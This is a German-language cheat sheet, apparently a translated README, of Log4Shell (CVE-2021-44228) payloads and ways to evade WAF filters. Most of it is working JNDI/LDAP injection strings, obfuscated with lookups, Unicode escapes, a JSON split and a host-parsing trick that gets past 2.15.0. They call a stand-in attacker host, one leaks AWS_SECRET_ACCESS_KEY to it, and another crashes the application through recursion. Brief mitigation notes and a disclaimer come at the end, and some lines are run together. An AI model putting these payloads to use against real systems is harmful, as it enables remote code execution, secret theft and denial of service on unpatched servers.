
🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java-Exploit - WAF-Bypass-Tricks
CVE-2021-44228 funktioniert auf:
log4j: 2.0 <= Apache log4j <= 2.14.1
Bereits gepatchte Java-Versionen: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender begann, .java-Dateien zu entfernen, die jndi:ldap:.... enthalten.
Einfaches Angreifer-Skript (mögliche RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAFs oder Entwickler begannen, Phrasen zu blockieren:
um Anwendungen zu sichern.
Der Angreifer kann dies jedoch mit einer dieser Techniken umgehen:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Aus der Apache Log4j 2 Dokumentation: ${env:ENV_NAME:-default_value}
Wenn es keine Systemumgebungsvariable ENV_NAME gibt, verwende den Text nach :-
Der Angreifer kann jeden beliebigen Namen anstelle von ENV_NAME verwenden, aber er darf nicht existieren.
Oder der Hacker kann Umgebungsvariablen auslesen, z.B. für AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Weitere Geheimnisse findest du in 🦄🔒 Fantastische Liste von Geheimnissen in Umgebungsvariablen 🖥️
Du kannst deine Systemumgebungsvariablen überprüfen:
dir env:printenv oder env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup Der LowerLookup wandelt das übergebene Argument in Kleinbuchstaben um. Vermutlich wird der Wert das Ergebnis einer verschachtelten Lookup sein.
${lower:<text>}
Upper Lookup Der UpperLookup wandelt das übergebene Argument in Großbuchstaben um. Vermutlich wird der Wert das Ergebnis einer verschachtelten Lookup sein.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı wird in i umgewandelt
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
Wenn es keine Systemeigenschaft SYS_NAME gibt, verwende den Text nach :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java-Datumsformatierung wandelt YYYY in 2021 um, aber 'YYYY' in YYYY oder 'j' in j.
Ersetze Zeichen durch:
Mehr dazu hier HTML-URL-Kodierungsreferenz
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
Es überprüft nicht die Existenz des Lookups und wertet einfach fröhlich zum Standardwert aus.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"Separat stellen diese Schlüssel und Werte keinen Angriff dar. Aber alle zusammen ergeben einen Angriff, und dieser Angriff ist für die Erkennungssysteme aufgrund des JSON-Parsers unsichtbar." Mehr lesen...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Wandle einige Zeichen in Unicode um.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Umgehung der allowedLdapHost- und allowedClasses-Prüfungen in Log4J 2.15.0. Die Methode java.net.URI getHost() gibt den Wert vor dem # als den tatsächlichen Host zurück. Der JNDI/LDAP-Resolver wird jedoch den vollständigen Hostnamen-String auflösen und versuchen, sich mit dem bösartigen LDAP-Server zu verbinden.
${${::-${::-$${::-j}}}}
Wenn aus irgendeinem Grund eine Zeichenfolgensubstitution für die folgende Zeichenfolge versucht wird, löst dies eine unendliche Rekursion aus, und die Anwendung stürzt ab.
Erstelle eine spezielle PDF-Datei, um CVE-2021-44228 auszunutzen

PDF-Datei herunterladen und mehr lesen...
Zum Testen des Eintrags kannst du Folgendes verwenden:
tl;dr Aktualisiere auf log4j-2.17.1 oder höher.
Log4j 1.x Absicherung: Log4j 1.x hat keine Lookups, daher ist das Risiko geringer. Anwendungen, die Log4j 1.x verwenden, sind nur dann anfällig für diesen Angriff, wenn sie JNDI in ihrer Konfiguration verwenden. Für diese Schwachstelle wurde eine separate CVE (CVE-2021-4104) eingereicht. Zur Absicherung: Überprüfe deine Logging-Konfiguration, um sicherzustellen, dass kein JMSAppender konfiguriert ist. Log4j 1.x Konfigurationen ohne JMSAppender sind von dieser Schwachstelle nicht betroffen.
Log4j 2.x Absicherung: Implementiere eine der folgenden Absicherungstechniken.
Beachte, dass nur die log4j-core JAR-Datei von dieser Schwachstelle betroffen ist. Anwendungen, die nur die log4j-api JAR-Datei ohne die log4j-core JAR-Datei verwenden, sind von dieser Schwachstelle nicht betroffen.

Dieses Projekt darf nur zu Bildungszwecken verwendet werden. Die Verwendung dieser Software gegen Zielsysteme ohne vorherige Genehmigung ist illegal, und der Autor übernimmt keine Verantwortung für Schäden, die durch Missbrauch dieser Software entstehen.
Ich bin nicht der Autor von CVE-2021-44228 und einigen Umgehungen.